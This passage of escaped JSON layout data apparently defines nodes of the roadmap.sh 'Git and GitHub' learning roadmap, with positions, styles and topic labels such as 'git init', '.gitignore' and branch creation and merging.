\"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.53169343447416,\n        \"y\": 2479.2489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"gZ7dytie1YH3DDtKKcyiQ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 355.53169343447416,\n        \"y\": 2317.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55\n        },\n        \"oldId\": \"GyhfjObOGq-CwF_VIwO8b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 174,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 174\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.53169343447416,\n        \"y\": 2317.2489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 174\n      }\n    },\n    {\n      \"id\": \"e5O8lUSSEOEFR-dlZV5wN\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 522.0316934344742,\n        \"y\": 2094.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 218,\n      \"height\": 322,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 322\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 522.0316934344742,\n        \"y\": 2094.2489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 322\n      }\n    },\n    {\n      \"id\": \"-KKWgOEFEaVxuaHPDjJmA\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 543.8760409943199,\n        \"y\": 1902.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 98,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 98\n      },\n      \"positionAbsolute\": {\n        \"x\": 543.8760409943199,\n        \"y\": 1902.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 98\n      }\n    },\n    {\n      \"id\": \"bVGSRi7pMd3rHQ1X6UrA1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1161.0316934344742,\n        \"y\": 1643.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 101,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 101\n      },\n      \"positionAbsolute\": {\n        \"x\": 1161.0316934344742,\n        \"y\": 1643.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 101\n      }\n    },\n    {\n      \"id\": \"9tkYqqVy0v42G4tijnDAP\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 428.53169343447416,\n        \"y\": 1371.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 83,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 83,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 428.53169343447416,\n        \"y\": 1371.0489330045289\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 83,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"uDsTnM22jHuGBvJfRgv9v\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1307.348933004529\n      },\n      \"width\": 222,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 217\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1307.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"I-sIkdwJlt8JK0gdvdloQ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 688.3760409943199,\n        \"y\": 736.548933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 77,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 77\n      },\n      \"positionAbsolute\": {\n        \"x\": 688.3760409943199,\n        \"y\": 736.548933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 77\n      }\n    },\n    {\n      \"id\": \"zyFrOb5yF198jH5vjZTg1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 688.3760409943199,\n        \"y\": 830.548933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        },\n        \"oldId\": \"I-sIkdwJlt8JK0gdvdloQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 553,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 553\n      },\n      \"positionAbsolute\": {\n        \"x\": 688.3760409943199,\n        \"y\": 830.548933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 553\n      }\n    },\n    {\n      \"id\": \"CK9zYMrsw7Rl1ux4PU5wl\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 205.53169343447416,\n        \"y\": 289.84893300452904\n      },\n      \"width\": 242,\n      \"height\": 422,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 422\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 205.53169343447416,\n        \"y\": 289.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 422\n      }\n    },\n    {\n      \"id\": \"Qq13cf04JGzV_H3glm_D5\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 446.53169343447416,\n        \"y\": 486.34893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 446.53169343447416,\n        \"y\": 486.34893300452904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"5Z9o-b3vBA-ITFg86zzYM\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 594.8760409943199,\n        \"y\": 166.2553633125035\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git and GitHub\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 68,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 594.8760409943199,\n        \"y\": 166.2553633125035\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"XgM_I974PlXAu4AbeqHX1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 698.3760409943199,\n        \"y\": 93.2553633125035\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 73,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 73\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 698.3760409943199,\n        \"y\": 93.2553633125035\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 73\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 909.4971847919508,\n        \"y\": 83.84893300452893\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 142,\n      \"positionAbsolute\": {\n        \"x\": 909.4971847919508,\n        \"y\": 83.84893300452893\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 354,\n        \"height\": 142\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 142\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 921.7005592047509,\n        \"y\": 165.8344964222742\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 921.7005592047509,\n        \"y\": 165.8344964222742\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 570.3760409943199,\n        \"y\": 374.48940199488766\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 570.3760409943199,\n        \"y\": 374.48940199488766\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bY6b1GV2XQQ52NOx8gWFj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 984.0316934344742,\n        \"y\": 299.84893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is Version Control?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 984.0316934344742,\n        \"y\": 299.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dhIx1GnynvbSUriqYLUt0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 984.0316934344742,\n        \"y\": 352.84893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Why use Version Control?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 984.0316934344742,\n        \"y\": 352.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_jSTrYN9G8EsGHkbusKPU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 984.0316934344742,\n        \"y\": 405.84893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git vs Other VCS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 984.0316934344742,\n        \"y\": 405.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v7hCNbgPByi3YiLSs46BK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 984.0316934344742,\n        \"y\": 458.84893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Installing Git Locally\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 984.0316934344742,\n        \"y\": 458.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PtU5Qwfzn3N1i3oRlCGoR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 570.3760409943199,\n        \"y\": 471.84893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is a Repository\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bXfCUG3h1TIFPgD4WUDph\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 570.3760409943199,\n        \"y\": 471.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1iOkbO5juk2LO-WZHx_W6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 214.53169343447416,\n        \"y\": 303.84893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git init\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 214.53169343447416,\n        \"y\": 303.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NMCWgzhhfUvFOMO5GbF_u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 214.53169343447416,\n        \"y\": 358.853050782843\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git config\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 214.53169343447416,\n        \"y\": 358.853050782843\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tVvxC5JQgUb_B8kOqYpD8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 214.53169343447416,\n        \"y\": 412.84893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Local vs Global Config\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 214.53169343447416,\n        \"y\": 412.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hzL8j8473CoyFf5ab2f_B\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 229.03169343447416,\n        \"y\": 465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Repository Initialization\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 229.03169343447416,\n        \"y\": 465\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"XB_mRInocRU6nPjt_iOo5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 224.53169343447416,\n        \"y\": 667.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Intro and Git Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 224.53169343447416,\n        \"y\": 667.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Sv36oxTZwlUv-i1K28NeP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 214.53169343447416,\n        \"y\": 506.84893300452904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Working Directory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 214.53169343447416,\n        \"y\": 506.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h71Tx3nkfUrnhaqcHlDkQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 214.53169343447416,\n        \"y\": 559.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Staging Area\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 214.53169343447416,\n        \"y\": 559.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2_z3R7seCvQVj-Na4H1SV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 214.53169343447416,\n        \"y\": 612.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Committing Changes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 214.53169343447416,\n        \"y\": 612.848933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oz2oRAhaEQb0Fm3aRJQG8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.53169343447416,\n        \"y\": 715.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \".gitignore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IfUm5D_zNaUKMd4HX4Fi4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 207.53169343447416,\n        \"y\": 715.848933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IfUm5D_zNaUKMd4HX4Fi4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.53169343447416,\n        \"y\": 768.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Viewing Commit History\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 207.53169343447416,\n        \"y\": 768.848933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bXfCUG3h1TIFPgD4WUDph\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 573.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Branching Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 573.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OegitQ5Ngjvd3ZfMpfrkM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 653.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating Branch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 653.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_dPOVUbxApx0pfKPH8fgr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 706.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Renaming Branch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 706.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1uDenoQ6zu7CT69FR2iQB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 759.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Deleting Branch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 759.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PtRo-wGiNAagZ6CykfvMr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 812.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Checkout Branch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 812.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sNuy6NMjLOEkJlqdEjFPq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 865.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Merging Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      